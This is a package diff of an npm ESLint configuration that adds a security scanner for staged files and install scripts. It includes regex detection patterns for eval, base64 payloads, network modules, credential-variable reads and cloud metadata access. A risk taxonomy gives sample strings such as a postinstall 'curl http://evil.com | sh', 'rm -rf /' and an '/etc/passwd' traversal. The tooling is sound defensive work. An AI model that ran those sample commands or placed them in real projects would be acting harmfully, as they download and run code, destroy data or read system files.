@archpublicwebsite/eslint-config 1.0.18 → 1.0.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/eslint.config.mjs +92 -7
- package/package.json +1 -1
- package/tools/git-hooks/pre-push.mjs +235 -0
- package/tools/git-hooks/verify-commit-message.mjs +37 -18
- package/tools/security/patterns.mjs +187 -0
- package/tools/security/risks.mjs +259 -0
- package/tools/security/scan.mjs +44 -245
- package/tools/security/scanner.mjs +233 -0
- package/tools/setup/install.mjs +13 -1
|
@@ -5,6 +5,9 @@
|
|
|
5
5
|
* vector observed in npm supply-chain incidents (event-stream, ua-parser-js,
|
|
6
6
|
* node-ipc, polyfill.io, XZ Utils, etc.).
|
|
7
7
|
*
|
|
8
|
+
* Risk categories (id → OWASP / MITRE ATLAS mapping) are defined in risks.mjs.
|
|
9
|
+
* Each pattern's `category` field references one of those ids.
|
|
10
|
+
*
|
|
8
11
|
* Patterns are kept as non-global RegExp so they can safely be re-tested
|
|
9
12
|
* across lines without needing to reset `lastIndex`.
|
|
10
13
|
*/
|
|
@@ -29,18 +32,21 @@ export const FILE_PATTERNS = [
|
|
|
29
32
|
severity: 'critical',
|
|
30
33
|
message: 'eval() executes arbitrary strings — primary vector for malware delivery',
|
|
31
34
|
regex: /\beval\s*\(/,
|
|
35
|
+
category: 'code-execution',
|
|
32
36
|
},
|
|
33
37
|
{
|
|
34
38
|
id: 'no-new-func',
|
|
35
39
|
severity: 'critical',
|
|
36
40
|
message: 'new Function() executes arbitrary strings — equivalent to eval()',
|
|
37
41
|
regex: /\bnew\s+Function\s*\(/,
|
|
42
|
+
category: 'code-execution',
|
|
38
43
|
},
|
|
39
44
|
{
|
|
40
45
|
id: 'no-implied-eval',
|
|
41
46
|
severity: 'high',
|
|
42
47
|
message: 'setTimeout/setInterval with a string argument executes code dynamically',
|
|
43
48
|
regex: /\b(?:setTimeout|setInterval)\s*\(\s*['"]/,
|
|
49
|
+
category: 'code-execution',
|
|
44
50
|
},
|
|
45
51
|
|
|
46
52
|
// ── Payload delivery & obfuscation ────────────────────────────────────────
|
|
@@ -49,24 +55,28 @@ export const FILE_PATTERNS = [
|
|
|
49
55
|
severity: 'high',
|
|
50
56
|
message: 'Buffer.from(…, "base64") — frequently used to hide malicious payloads',
|
|
51
57
|
regex: /Buffer\.from\s*\([^)]*,\s*['"]base64['"]\)/,
|
|
58
|
+
category: 'obfuscation',
|
|
52
59
|
},
|
|
53
60
|
{
|
|
54
61
|
id: 'atob-usage',
|
|
55
62
|
severity: 'medium',
|
|
56
63
|
message: 'atob() decodes base64 — verify it is not decoding a hidden payload',
|
|
57
64
|
regex: /\batob\s*\(/,
|
|
65
|
+
category: 'obfuscation',
|
|
58
66
|
},
|
|
59
67
|
{
|
|
60
68
|
id: 'charcode-obfuscation',
|
|
61
69
|
severity: 'high',
|
|
62
70
|
message: 'String.fromCharCode sequence — common technique to obfuscate malicious strings',
|
|
63
71
|
regex: /String\.fromCharCode\s*\(\s*(?:\d+\s*,\s*){4,}\d+\s*\)/,
|
|
72
|
+
category: 'obfuscation',
|
|
64
73
|
},
|
|
65
74
|
{
|
|
66
75
|
id: 'hex-string-obfuscation',
|
|
67
76
|
severity: 'high',
|
|
68
77
|
message: 'Dense hex-encoded string — possible obfuscated payload',
|
|
69
78
|
regex: /['"](?:\\x[0-9a-fA-F]{2}){20,}['"]/,
|
|
79
|
+
category: 'obfuscation',
|
|
70
80
|
},
|
|
71
81
|
|
|
72
82
|
// ── Dangerous imports in build / config context ───────────────────────────
|
|
@@ -77,6 +87,7 @@ export const FILE_PATTERNS = [
|
|
|
77
87
|
message: 'child_process in build config — potential command-execution backdoor',
|
|
78
88
|
regex: /require\s*\(\s*['"](?:node:)?child_process['"]\s*\)|from\s+['"](?:node:)?child_process['"]/,
|
|
79
89
|
configOnly: true,
|
|
90
|
+
category: 'data-exfiltration',
|
|
80
91
|
},
|
|
81
92
|
{
|
|
82
93
|
id: 'http-in-config',
|
|
@@ -84,6 +95,7 @@ export const FILE_PATTERNS = [
|
|
|
84
95
|
message: 'HTTP/HTTPS module in build config — potential data-exfiltration vector',
|
|
85
96
|
regex: /require\s*\(\s*['"](?:node:)?https?['"]\s*\)|from\s+['"](?:node:)?https?['"]/,
|
|
86
97
|
configOnly: true,
|
|
98
|
+
category: 'data-exfiltration',
|
|
87
99
|
},
|
|
88
100
|
{
|
|
89
101
|
id: 'dns-in-config',
|
|
@@ -91,6 +103,7 @@ export const FILE_PATTERNS = [
|
|
|
91
103
|
message: 'DNS module in build config — potential exfiltration via DNS tunnelling',
|
|
92
104
|
regex: /require\s*\(\s*['"](?:node:)?dns['"]\s*\)|from\s+['"](?:node:)?dns['"]/,
|
|
93
105
|
configOnly: true,
|
|
106
|
+
category: 'data-exfiltration',
|
|
94
107
|
},
|
|
95
108
|
{
|
|
96
109
|
id: 'net-in-config',
|
|
@@ -98,6 +111,7 @@ export const FILE_PATTERNS = [
|
|
|
98
111
|
message: 'net/socket module in build config — potential reverse-shell vector',
|
|
99
112
|
regex: /require\s*\(\s*['"](?:node:)?net['"]\s*\)|from\s+['"](?:node:)?net['"]/,
|
|
100
113
|
configOnly: true,
|
|
114
|
+
category: 'data-exfiltration',
|
|
101
115
|
},
|
|
102
116
|
|
|
103
117
|
// ── Prototype pollution ────────────────────────────────────────────────────
|
|
@@ -106,6 +120,7 @@ export const FILE_PATTERNS = [
|
|
|
106
120
|
severity: 'high',
|
|
107
121
|
message: 'Prototype pollution pattern — can escalate to RCE in some server runtimes',
|
|
108
122
|
regex: /\.__proto__\s*=|Object\.prototype\s*\[|constructor\s*\.\s*prototype\s*\[/,
|
|
123
|
+
category: 'prototype-pollution',
|
|
109
124
|
},
|
|
110
125
|
|
|
111
126
|
// ── Suspicious dynamic import ──────────────────────────────────────────────
|
|
@@ -180,6 +195,156 @@ export const FILE_PATTERNS = [
|
|
|
180
195
|
severity: 'critical',
|
|
181
196
|
message: 'global[...] = module — dropper technique to expose Node module reference as a global',
|
|
182
197
|
regex: /global\s*\[.*?\]\s*=\s*module\b/,
|
|
198
|
+
category: 'code-execution',
|
|
199
|
+
},
|
|
200
|
+
|
|
201
|
+
// ── XSS / DOM injection ────────────────────────────────────────────────────
|
|
202
|
+
// These patterns cover the most common DOM-based XSS sinks. Using them with
|
|
203
|
+
// unsanitised user input allows an attacker to execute scripts in the
|
|
204
|
+
// victim's browser. ESLint rules in eslint.config.mjs cover the same
|
|
205
|
+
// vectors statically; these patterns catch them in staged files.
|
|
206
|
+
{
|
|
207
|
+
id: 'dom-innerhtml',
|
|
208
|
+
severity: 'high',
|
|
209
|
+
message: 'innerHTML / outerHTML assignment — direct DOM XSS sink; use textContent or a sanitiser',
|
|
210
|
+
regex: /\.\s*(?:inner|outer)HTML\s*=/,
|
|
211
|
+
category: 'xss',
|
|
212
|
+
},
|
|
213
|
+
{
|
|
214
|
+
id: 'dom-insertadjacenthtml',
|
|
215
|
+
severity: 'high',
|
|
216
|
+
message: 'insertAdjacentHTML() — DOM XSS sink; use insertAdjacentText() or sanitise input first',
|
|
217
|
+
regex: /\.insertAdjacentHTML\s*\(/,
|
|
218
|
+
category: 'xss',
|
|
219
|
+
},
|
|
220
|
+
{
|
|
221
|
+
id: 'dom-document-write',
|
|
222
|
+
severity: 'high',
|
|
223
|
+
message: 'document.write() / document.writeln() — deprecated and a direct XSS sink',
|
|
224
|
+
regex: /document\s*\.\s*write(?:ln)?\s*\(/,
|
|
225
|
+
category: 'xss',
|
|
226
|
+
},
|
|
227
|
+
{
|
|
228
|
+
id: 'dom-srcdoc',
|
|
229
|
+
severity: 'medium',
|
|
230
|
+
message: 'srcdoc attribute set via JS — can execute scripts inside an iframe without CSP',
|
|
231
|
+
regex: /\.srcdoc\s*=/,
|
|
232
|
+
category: 'xss',
|
|
233
|
+
},
|
|
234
|
+
{
|
|
235
|
+
id: 'vue-v-html',
|
|
236
|
+
severity: 'medium',
|
|
237
|
+
message: 'v-html directive detected — ensure content is sanitised (e.g. DOMPurify) and never bind unsanitised user input',
|
|
238
|
+
// Matches both :v-html and v-html= in .vue template strings captured in JS
|
|
239
|
+
regex: /v-html\s*=/,
|
|
240
|
+
category: 'xss',
|
|
241
|
+
},
|
|
242
|
+
|
|
243
|
+
// ── Hardcoded secrets / credentials ───────────────────────────────────────
|
|
244
|
+
// Secrets committed to source control are frequently scraped by automated
|
|
245
|
+
// bots (GitHub secret scanning, truffleHog, etc.) within minutes.
|
|
246
|
+
{
|
|
247
|
+
id: 'hardcoded-openai-key',
|
|
248
|
+
severity: 'critical',
|
|
249
|
+
message: 'Hardcoded OpenAI API key detected — rotate immediately and use environment variables',
|
|
250
|
+
regex: /['"]sk-[A-Za-z0-9]{20,}['"]/,
|
|
251
|
+
category: 'hardcoded-secret',
|
|
252
|
+
},
|
|
253
|
+
{
|
|
254
|
+
id: 'hardcoded-anthropic-key',
|
|
255
|
+
severity: 'critical',
|
|
256
|
+
message: 'Hardcoded Anthropic API key detected — rotate immediately and use environment variables',
|
|
257
|
+
regex: /['"]sk-ant-[A-Za-z0-9\-_]{20,}['"]/,
|
|
258
|
+
category: 'hardcoded-secret',
|
|
259
|
+
},
|
|
260
|
+
{
|
|
261
|
+
id: 'hardcoded-aws-key',
|
|
262
|
+
severity: 'critical',
|
|
263
|
+
message: 'Hardcoded AWS Access Key ID — rotate immediately; AWS bots can detect and exploit within minutes',
|
|
264
|
+
regex: /['"]AKIA[0-9A-Z]{16}['"]/,
|
|
265
|
+
category: 'hardcoded-secret',
|
|
266
|
+
},
|
|
267
|
+
{
|
|
268
|
+
id: 'hardcoded-github-token',
|
|
269
|
+
severity: 'critical',
|
|
270
|
+
message: 'Hardcoded GitHub token — rotate immediately and store in a secret manager',
|
|
271
|
+
regex: /['"]gh[pousr]_[A-Za-z0-9]{36,}['"]/,
|
|
272
|
+
category: 'hardcoded-secret',
|
|
273
|
+
},
|
|
274
|
+
{
|
|
275
|
+
id: 'hardcoded-jwt-secret',
|
|
276
|
+
severity: 'high',
|
|
277
|
+
message: 'Possible hardcoded JWT secret — use a cryptographically random secret from env vars',
|
|
278
|
+
// Matches: secret: "...", jwtSecret: "...", JWT_SECRET = "..." with a non-trivial value
|
|
279
|
+
regex: /(?:jwt[_-]?secret|token[_-]?secret)\s*[=:]\s*['"][^'"]{8,}['"]/i,
|
|
280
|
+
category: 'hardcoded-secret',
|
|
281
|
+
},
|
|
282
|
+
{
|
|
283
|
+
id: 'hardcoded-private-key',
|
|
284
|
+
severity: 'critical',
|
|
285
|
+
message: 'Private key material in source — never commit private keys; use a secrets manager',
|
|
286
|
+
regex: /-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----/,
|
|
287
|
+
category: 'hardcoded-secret',
|
|
288
|
+
},
|
|
289
|
+
{
|
|
290
|
+
id: 'hardcoded-password-literal',
|
|
291
|
+
severity: 'high',
|
|
292
|
+
message: 'Possible hardcoded password — use environment variables or a secrets manager',
|
|
293
|
+
// Matches: password: "abc123", PASSWORD = 'secret' (not empty, not placeholder-like)
|
|
294
|
+
regex: /\bpassword\s*[=:]\s*['"][^'"]{4,}['"]/i,
|
|
295
|
+
category: 'hardcoded-secret',
|
|
296
|
+
},
|
|
297
|
+
|
|
298
|
+
// ── Path traversal ────────────────────────────────────────────────────────
|
|
299
|
+
{
|
|
300
|
+
id: 'path-traversal-fs',
|
|
301
|
+
severity: 'high',
|
|
302
|
+
message: 'fs operation with a variable path — validate and sanitise paths to prevent directory traversal',
|
|
303
|
+
// Flags fs.readFile/writeFile/createReadStream/unlink etc. called with a variable (not a plain string)
|
|
304
|
+
regex: /(?:readFile|writeFile|createReadStream|createWriteStream|unlink|rmdir|mkdir)\s*\(\s*(?!['"` ])[^'"`)]/,
|
|
305
|
+
category: 'path-traversal',
|
|
306
|
+
},
|
|
307
|
+
{
|
|
308
|
+
id: 'path-traversal-dotdot',
|
|
309
|
+
severity: 'critical',
|
|
310
|
+
message: 'Literal path traversal sequence (../) in source — remove or validate user-supplied path segments',
|
|
311
|
+
regex: /['"]\.\.[/\\]/,
|
|
312
|
+
category: 'path-traversal',
|
|
313
|
+
},
|
|
314
|
+
|
|
315
|
+
// ── SSRF ──────────────────────────────────────────────────────────────────
|
|
316
|
+
{
|
|
317
|
+
id: 'ssrf-fetch-variable',
|
|
318
|
+
severity: 'high',
|
|
319
|
+
message: 'fetch() / axios.get() called with a variable URL — validate URL origin to prevent SSRF',
|
|
320
|
+
// Matches fetch(variable) — not fetch("https://...") which is a literal
|
|
321
|
+
regex: /\b(?:fetch|axios\.(?:get|post|put|patch|delete|request))\s*\(\s*(?!['"` ])[^'"`)]/,
|
|
322
|
+
category: 'ssrf',
|
|
323
|
+
},
|
|
324
|
+
{
|
|
325
|
+
id: 'ssrf-cloud-metadata',
|
|
326
|
+
severity: 'critical',
|
|
327
|
+
message: 'Cloud metadata endpoint (169.254.169.254 / fd00:ec2::254) referenced in source',
|
|
328
|
+
regex: /169\.254\.169\.254|fd00:ec2::254/,
|
|
329
|
+
category: 'ssrf',
|
|
330
|
+
},
|
|
331
|
+
|
|
332
|
+
// ── ReDoS ─────────────────────────────────────────────────────────────────
|
|
333
|
+
{
|
|
334
|
+
id: 'redos-nested-quantifier',
|
|
335
|
+
severity: 'medium',
|
|
336
|
+
message: 'RegExp with nested quantifier on overlapping character class — ReDoS risk; simplify the pattern',
|
|
337
|
+
// Catches: (a+)+, (a*)*, ([a-z]+)+, ([a-zA-Z]+)* — classic catastrophic backtracking shapes
|
|
338
|
+
regex: /\((?:\[[^\]]+\]|\\w|\\d|[a-zA-Z])[+*]\)[+*?]/,
|
|
339
|
+
category: 'redos',
|
|
340
|
+
},
|
|
341
|
+
{
|
|
342
|
+
id: 'redos-alternation-overlap',
|
|
343
|
+
severity: 'medium',
|
|
344
|
+
message: 'RegExp alternation with overlapping branches inside a quantifier — ReDoS risk',
|
|
345
|
+
// Catches: (a|aa)+, (ab|a)+ patterns where branches share prefixes
|
|
346
|
+
regex: /\([^)]{1,40}\|[^)]{1,40}\)[+*?]/,
|
|
347
|
+
category: 'redos',
|
|
183
348
|
},
|
|
184
349
|
]
|
|
185
350
|
|
|
@@ -197,48 +362,70 @@ export const INSTALL_SCRIPT_PATTERNS = [
|
|
|
197
362
|
severity: 'critical',
|
|
198
363
|
message: 'Install script downloads files from the internet via curl/wget',
|
|
199
364
|
regex: /\bcurl\b|\bwget\b/,
|
|
365
|
+
category: 'supply-chain',
|
|
200
366
|
},
|
|
201
367
|
{
|
|
202
368
|
id: 'install-net-request',
|
|
203
369
|
severity: 'critical',
|
|
204
370
|
message: 'Install script makes HTTP requests at install time',
|
|
205
371
|
regex: /require\s*\(\s*['"]https?['"]\s*\)|\.get\s*\(\s*['"]https?:\/\//,
|
|
372
|
+
category: 'supply-chain',
|
|
206
373
|
},
|
|
207
374
|
{
|
|
208
375
|
id: 'install-base64-exec',
|
|
209
376
|
severity: 'critical',
|
|
210
377
|
message: 'Install script decodes base64 content — hidden payload delivery pattern',
|
|
211
378
|
regex: /Buffer\.from[^)]*base64|atob\s*\(/,
|
|
379
|
+
category: 'supply-chain',
|
|
212
380
|
},
|
|
213
381
|
{
|
|
214
382
|
id: 'install-eval',
|
|
215
383
|
severity: 'critical',
|
|
216
384
|
message: 'Install script calls eval() — arbitrary code execution at install time',
|
|
217
385
|
regex: /\beval\s*\(/,
|
|
386
|
+
category: 'supply-chain',
|
|
218
387
|
},
|
|
219
388
|
{
|
|
220
389
|
id: 'install-env-credential',
|
|
221
390
|
severity: 'high',
|
|
222
391
|
message: 'Install script reads credential/secret environment variables',
|
|
223
392
|
regex: /process\.env\.(?:AWS_|GITHUB_TOKEN|NPM_TOKEN|SECRET|PASSWORD|API_KEY|PRIVATE_KEY|TOKEN)/i,
|
|
393
|
+
category: 'supply-chain',
|
|
224
394
|
},
|
|
225
395
|
{
|
|
226
396
|
id: 'install-system-path',
|
|
227
397
|
severity: 'critical',
|
|
228
398
|
message: 'Install script writes to system paths — possible persistence mechanism',
|
|
229
399
|
regex: /\/etc\/|\/usr\/(?:bin|local)|C:\\Windows\\|\.ssh\//,
|
|
400
|
+
category: 'supply-chain',
|
|
230
401
|
},
|
|
231
402
|
{
|
|
232
403
|
id: 'install-exec-shell',
|
|
233
404
|
severity: 'high',
|
|
234
405
|
message: 'Install script spawns child processes via child_process',
|
|
235
406
|
regex: /\bexecSync\s*\(|\bspawnSync\s*\(|\bexec\s*\(\s*['"]/,
|
|
407
|
+
category: 'supply-chain',
|
|
236
408
|
},
|
|
237
409
|
{
|
|
238
410
|
id: 'install-hex-obfuscation',
|
|
239
411
|
severity: 'high',
|
|
240
412
|
message: 'Install script contains dense hex-encoded strings — possible obfuscated payload',
|
|
241
413
|
regex: /(?:\\x[0-9a-fA-F]{2}){20,}/,
|
|
414
|
+
category: 'supply-chain',
|
|
415
|
+
},
|
|
416
|
+
{
|
|
417
|
+
id: 'install-new-function',
|
|
418
|
+
severity: 'critical',
|
|
419
|
+
message: 'Install script uses new Function() — arbitrary code execution at install time',
|
|
420
|
+
regex: /\bnew\s+Function\s*\(/,
|
|
421
|
+
category: 'supply-chain',
|
|
422
|
+
},
|
|
423
|
+
{
|
|
424
|
+
id: 'install-cloud-metadata',
|
|
425
|
+
severity: 'critical',
|
|
426
|
+
message: 'Install script probes cloud metadata endpoint (169.254.169.254) — SSRF / credential theft',
|
|
427
|
+
regex: /169\.254\.169\.254/,
|
|
428
|
+
category: 'supply-chain',
|
|
242
429
|
},
|
|
243
430
|
]
|
|
244
431
|
|
|
@@ -0,0 +1,259 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @archipelago/security — risk taxonomy
|
|
3
|
+
*
|
|
4
|
+
* Defines the canonical risk classification used across all security tooling
|
|
5
|
+
* in this package: the pre-commit scanner, pre-push scanner, ESLint rules,
|
|
6
|
+
* and any downstream consumers.
|
|
7
|
+
*
|
|
8
|
+
* Risk levels are aligned with:
|
|
9
|
+
* - OWASP Risk Rating Methodology
|
|
10
|
+
* - CVSS v3.1 severity bands
|
|
11
|
+
* - MITRE ATLAS (AML.T*) for AI/ML supply-chain vectors
|
|
12
|
+
*
|
|
13
|
+
* Reference:
|
|
14
|
+
* https://owasp.org/www-community/OWASP_Risk_Rating_Methodology
|
|
15
|
+
* https://www.first.org/cvss/calculator/3.1
|
|
16
|
+
*/
|
|
17
|
+
|
|
18
|
+
// ─── Severity levels ──────────────────────────────────────────────────────────
|
|
19
|
+
|
|
20
|
+
/**
|
|
21
|
+
* Severity → numeric score mapping (mirrors CVSS v3.1 bands).
|
|
22
|
+
* Used for sorting findings and deciding whether to block a git operation.
|
|
23
|
+
*
|
|
24
|
+
* @type {Record<string, number>}
|
|
25
|
+
*/
|
|
26
|
+
export const SEVERITY_SCORE = {
|
|
27
|
+
critical: 4, // CVSS 9.0 – 10.0 → block commit AND push
|
|
28
|
+
high: 3, // CVSS 7.0 – 8.9 → block commit AND push
|
|
29
|
+
medium: 2, // CVSS 4.0 – 6.9 → warn; never blocks by default
|
|
30
|
+
low: 1, // CVSS 0.1 – 3.9 → info only
|
|
31
|
+
info: 0, // Informational → no action required
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
/**
|
|
35
|
+
* Returns true if the severity level should block a git operation.
|
|
36
|
+
* @param {string} severity
|
|
37
|
+
* @returns {boolean}
|
|
38
|
+
*/
|
|
39
|
+
export function isBlocking(severity) {
|
|
40
|
+
return severity === 'critical' || severity === 'high'
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
// ─── Risk categories ──────────────────────────────────────────────────────────
|
|
44
|
+
|
|
45
|
+
/**
|
|
46
|
+
* Canonical risk categories with their OWASP and MITRE ATLAS mappings.
|
|
47
|
+
*
|
|
48
|
+
* Each category describes:
|
|
49
|
+
* - id Stable identifier used in findings and ESLint rule names
|
|
50
|
+
* - label Human-readable name
|
|
51
|
+
* - owasp OWASP Top 10 / ASVS reference (2021)
|
|
52
|
+
* - atlas MITRE ATLAS technique(s) — AI/ML supply-chain specific
|
|
53
|
+
* - description What the risk is and why it matters
|
|
54
|
+
* - examples Concrete code patterns that fall into this category
|
|
55
|
+
*
|
|
56
|
+
* @type {Array<RiskCategory>}
|
|
57
|
+
*/
|
|
58
|
+
export const RISK_CATEGORIES = [
|
|
59
|
+
// ── A1: Injection (RCE / code execution) ──────────────────────────────────
|
|
60
|
+
{
|
|
61
|
+
id: 'code-execution',
|
|
62
|
+
label: 'Arbitrary Code Execution',
|
|
63
|
+
owasp: 'A03:2021 – Injection',
|
|
64
|
+
atlas: ['AML.T0051 – LLM Prompt Injection', 'AML.T0010 – ML Supply Chain Compromise'],
|
|
65
|
+
description:
|
|
66
|
+
'Code that allows an attacker to execute arbitrary instructions on the host machine. '
|
|
67
|
+
+ 'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
|
|
68
|
+
severity: 'critical',
|
|
69
|
+
examples: ['eval(userInput)', 'new Function(str)()', "exec('rm -rf /')"],
|
|
70
|
+
},
|
|
71
|
+
|
|
72
|
+
// ── A2: Cryptographic / obfuscation ───────────────────────────────────────
|
|
73
|
+
{
|
|
74
|
+
id: 'obfuscation',
|
|
75
|
+
label: 'Obfuscation / Payload Hiding',
|
|
76
|
+
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
77
|
+
atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
|
|
78
|
+
description:
|
|
79
|
+
'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads '
|
|
80
|
+
+ 'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, '
|
|
81
|
+
+ 'ua-parser-js, polyfill.io).',
|
|
82
|
+
severity: 'high',
|
|
83
|
+
examples: ["Buffer.from('abc', 'base64')", 'String.fromCharCode(104,101,...)', '_$_1e42[0]'],
|
|
84
|
+
},
|
|
85
|
+
|
|
86
|
+
// ── A3: Prototype pollution ────────────────────────────────────────────────
|
|
87
|
+
{
|
|
88
|
+
id: 'prototype-pollution',
|
|
89
|
+
label: 'Prototype Pollution',
|
|
90
|
+
owasp: 'A03:2021 – Injection',
|
|
91
|
+
atlas: [],
|
|
92
|
+
description:
|
|
93
|
+
'Modification of Object.prototype or constructor.prototype allows an attacker to '
|
|
94
|
+
+ 'inject properties onto every object in the runtime, which can escalate to RCE '
|
|
95
|
+
+ 'in some server-side Node.js frameworks.',
|
|
96
|
+
severity: 'high',
|
|
97
|
+
examples: ["obj.__proto__ = {admin: true}", "Object.prototype['x'] = fn"],
|
|
98
|
+
},
|
|
99
|
+
|
|
100
|
+
// ── A4: XSS / DOM injection ────────────────────────────────────────────────
|
|
101
|
+
{
|
|
102
|
+
id: 'xss',
|
|
103
|
+
label: 'Cross-Site Scripting (XSS)',
|
|
104
|
+
owasp: 'A03:2021 – Injection',
|
|
105
|
+
atlas: [],
|
|
106
|
+
description:
|
|
107
|
+
'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), '
|
|
108
|
+
+ 'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the '
|
|
109
|
+
+ "victim's browser context.",
|
|
110
|
+
severity: 'high',
|
|
111
|
+
examples: ['el.innerHTML = userInput', 'document.write(data)', '<div v-html="content">'],
|
|
112
|
+
},
|
|
113
|
+
|
|
114
|
+
// ── A5: Hardcoded secrets ──────────────────────────────────────────────────
|
|
115
|
+
{
|
|
116
|
+
id: 'hardcoded-secret',
|
|
117
|
+
label: 'Hardcoded Secret / Credential',
|
|
118
|
+
owasp: 'A02:2021 – Cryptographic Failures',
|
|
119
|
+
atlas: [],
|
|
120
|
+
description:
|
|
121
|
+
'API keys, tokens, passwords, or private keys committed to source code. '
|
|
122
|
+
+ 'Exposed secrets are frequently scraped from public repositories by automated bots '
|
|
123
|
+
+ 'within minutes of exposure.',
|
|
124
|
+
severity: 'critical',
|
|
125
|
+
examples: ['const API_KEY = "sk-..."', 'password: "hunter2"', 'PRIVATE_KEY = "-----BEGIN RSA"'],
|
|
126
|
+
},
|
|
127
|
+
|
|
128
|
+
// ── A6: Supply-chain / install scripts ────────────────────────────────────
|
|
129
|
+
{
|
|
130
|
+
id: 'supply-chain',
|
|
131
|
+
label: 'Supply-Chain Attack',
|
|
132
|
+
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
133
|
+
atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
|
|
134
|
+
description:
|
|
135
|
+
'Malicious code injected via npm package install scripts (preinstall/postinstall), '
|
|
136
|
+
+ 'typosquatted package names, or compromised transitive dependencies. '
|
|
137
|
+
+ 'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
|
|
138
|
+
severity: 'critical',
|
|
139
|
+
examples: ['postinstall: "curl http://evil.com | sh"', 'require("logify-utils") // typosquat'],
|
|
140
|
+
},
|
|
141
|
+
|
|
142
|
+
// ── A7: Path traversal ────────────────────────────────────────────────────
|
|
143
|
+
{
|
|
144
|
+
id: 'path-traversal',
|
|
145
|
+
label: 'Path Traversal',
|
|
146
|
+
owasp: 'A01:2021 – Broken Access Control',
|
|
147
|
+
atlas: [],
|
|
148
|
+
description:
|
|
149
|
+
'User-controlled input used in file-system operations without sanitisation. '
|
|
150
|
+
+ 'Allows attackers to read, write, or delete files outside the intended directory '
|
|
151
|
+
+ "(e.g., reading /etc/passwd via '../../etc/passwd').",
|
|
152
|
+
severity: 'high',
|
|
153
|
+
examples: ['fs.readFile(req.params.file)', "path.join(base, '../../../etc/passwd')"],
|
|
154
|
+
},
|
|
155
|
+
|
|
156
|
+
// ── A8: SSRF ──────────────────────────────────────────────────────────────
|
|
157
|
+
{
|
|
158
|
+
id: 'ssrf',
|
|
159
|
+
label: 'Server-Side Request Forgery (SSRF)',
|
|
160
|
+
owasp: 'A10:2021 – Server-Side Request Forgery',
|
|
161
|
+
atlas: [],
|
|
162
|
+
description:
|
|
163
|
+
'Outbound HTTP requests made with a URL derived from user input, allowing attackers '
|
|
164
|
+
+ 'to probe internal services, cloud metadata APIs (169.254.169.254), or other '
|
|
165
|
+
+ 'resources not directly accessible from the internet.',
|
|
166
|
+
severity: 'high',
|
|
167
|
+
examples: ['fetch(req.body.url)', 'axios.get(userSuppliedUrl)'],
|
|
168
|
+
},
|
|
169
|
+
|
|
170
|
+
// ── A9: ReDoS ─────────────────────────────────────────────────────────────
|
|
171
|
+
{
|
|
172
|
+
id: 'redos',
|
|
173
|
+
label: 'Regular Expression Denial of Service (ReDoS)',
|
|
174
|
+
owasp: 'A06:2021 – Vulnerable and Outdated Components',
|
|
175
|
+
atlas: [],
|
|
176
|
+
description:
|
|
177
|
+
'Pathological regular expressions with nested quantifiers on overlapping character '
|
|
178
|
+
+ 'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. '
|
|
179
|
+
+ 'User-controlled input matched against such patterns is a DoS vector.',
|
|
180
|
+
severity: 'medium',
|
|
181
|
+
examples: ['/(a+)+$/', '/([a-zA-Z]+)*/', '/(a|aa)+$/'],
|
|
182
|
+
},
|
|
183
|
+
|
|
184
|
+
// ── A10: Exfiltration in build / config context ───────────────────────────
|
|
185
|
+
{
|
|
186
|
+
id: 'data-exfiltration',
|
|
187
|
+
label: 'Data Exfiltration via Build Config',
|
|
188
|
+
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
189
|
+
atlas: ['AML.T0024 – Exfiltration via ML Inference API'],
|
|
190
|
+
description:
|
|
191
|
+
'Network modules (http, https, dns, net) or child_process imported inside Tailwind, '
|
|
192
|
+
+ 'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated '
|
|
193
|
+
+ 'privileges and full file-system access — making them a prime exfiltration vector.',
|
|
194
|
+
severity: 'critical',
|
|
195
|
+
examples: ["import https from 'node:https' // in tailwind.config.ts"],
|
|
196
|
+
},
|
|
197
|
+
]
|
|
198
|
+
|
|
199
|
+
// ─── Category lookup ──────────────────────────────────────────────────────────
|
|
200
|
+
|
|
201
|
+
/**
|
|
202
|
+
* Fast lookup: risk category id → category object.
|
|
203
|
+
* @type {Map<string, RiskCategory>}
|
|
204
|
+
*/
|
|
205
|
+
export const RISK_CATEGORY_MAP = new Map(RISK_CATEGORIES.map(c => [c.id, c]))
|
|
206
|
+
|
|
207
|
+
/**
|
|
208
|
+
* Return a risk category by id, or undefined if not found.
|
|
209
|
+
* @param {string} id
|
|
210
|
+
* @returns {RiskCategory|undefined}
|
|
211
|
+
*/
|
|
212
|
+
export function getRiskCategory(id) {
|
|
213
|
+
return RISK_CATEGORY_MAP.get(id)
|
|
214
|
+
}
|
|
215
|
+
|
|
216
|
+
// ─── Finding helpers ──────────────────────────────────────────────────────────
|
|
217
|
+
|
|
218
|
+
/**
|
|
219
|
+
* Sort findings by severity (critical first) and then by file path.
|
|
220
|
+
* @template {{ severity: string, file?: string, pkg?: string }} T
|
|
221
|
+
* @param {T[]} findings
|
|
222
|
+
* @returns {T[]}
|
|
223
|
+
*/
|
|
224
|
+
export function sortFindings(findings) {
|
|
225
|
+
return [...findings].sort((a, b) => {
|
|
226
|
+
const scoreDiff = (SEVERITY_SCORE[b.severity] ?? 0) - (SEVERITY_SCORE[a.severity] ?? 0)
|
|
227
|
+
if (scoreDiff !== 0) return scoreDiff
|
|
228
|
+
const aKey = a.file ?? a.pkg ?? ''
|
|
229
|
+
const bKey = b.file ?? b.pkg ?? ''
|
|
230
|
+
return aKey.localeCompare(bKey)
|
|
231
|
+
})
|
|
232
|
+
}
|
|
233
|
+
|
|
234
|
+
/**
|
|
235
|
+
* Partition findings into blocking (critical/high) and warning (medium/low/info) groups.
|
|
236
|
+
